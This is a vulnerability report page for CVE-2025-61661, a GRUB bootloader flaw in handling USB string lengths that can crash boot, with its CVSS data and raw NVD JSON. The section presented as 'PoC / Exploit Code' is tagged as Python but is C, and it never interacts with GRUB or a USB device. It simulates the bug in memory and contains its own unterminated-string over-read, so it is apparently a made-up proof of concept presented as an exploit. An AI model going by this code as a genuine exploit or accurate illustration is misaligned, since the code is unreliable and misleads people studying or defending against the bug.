Security Vulnerability Report
中文
CVE-2025-61661 CVSS 4.8 MEDIUM

CVE-2025-61661

Published: 2025-11-18 19:15:50
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified in the GRUB (Grand Unified Bootloader) component. This flaw occurs because the bootloader mishandles string conversion when reading information from a USB device, allowing an attacker to exploit inconsistent length values. A local attacker can connect a maliciously configured USB device during the boot sequence to trigger this issue. A successful exploitation may lead GRUB to crash, leading to a Denial of Service. Data corruption may be also possible, although given the complexity of the exploit the impact is most likely limited.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

GRUB 2.06及之前版本可能受影响
具体受影响版本需参考Red Hat安全公告和发行版更新说明

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-61661 PoC - Malicious USB Device Descriptor // This PoC demonstrates the concept of inconsistent string length handling // Note: Actual exploitation requires physical access and custom USB firmware #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated USB string descriptor with inconsistent length typedef struct { unsigned char bLength; // Descriptor length unsigned char bDescriptorType; // Descriptor type (0x03 for String) unsigned char bString[256]; // UTF-16LE string data } __attribute__((packed)) usb_string_descriptor; // Create malicious descriptor with length mismatch usb_string_descriptor* create_malicious_descriptor() { usb_string_descriptor* desc = malloc(sizeof(usb_string_descriptor)); if (!desc) return NULL; // Set declared length different from actual content desc->bLength = 0xFF; // Declare large length desc->bDescriptorType = 0x03; // Fill with specific pattern that triggers parsing error memset(desc->bString, 0x41, sizeof(desc->bString)); return desc; } // Simulate GRUB's flawed string conversion void grub_usb_string_read(usb_string_descriptor* desc) { unsigned short expected_length = desc->bLength - 2; unsigned short actual_length = strlen((char*)desc->bString); // Vulnerability: Using declared length without validation // This leads to buffer over-read or inconsistent parsing for (int i = 0; i < expected_length; i++) { // Process string data - may read beyond actual content printf("Processing byte %d: 0x%02X\n", i, desc->bString[i]); } } int main() { printf("CVE-2025-61661 PoC - GRUB USB String Handling\n"); printf("===========================================\n\n"); usb_string_descriptor* malicious = create_malicious_descriptor(); if (malicious) { printf("Malicious descriptor created\n"); printf("Declared length: %d bytes\n", malicious->bLength); printf("Attempting to trigger vulnerability...\n\n"); grub_usb_string_read(malicious); free(malicious); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61661", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:49.973", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in the GRUB (Grand Unified Bootloader) component. This flaw occurs because the bootloader mishandles string conversion when reading information from a USB device, allowing an attacker to exploit inconsistent length values. A local attacker can connect a maliciously configured USB device during the boot sequence to trigger this issue. A successful exploitation may lead GRUB to crash, leading to a Denial of Service. Data corruption may be also possible, although given the complexity of the exploit the impact is most likely limited."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-131"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-61661", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413827", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/18/8", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}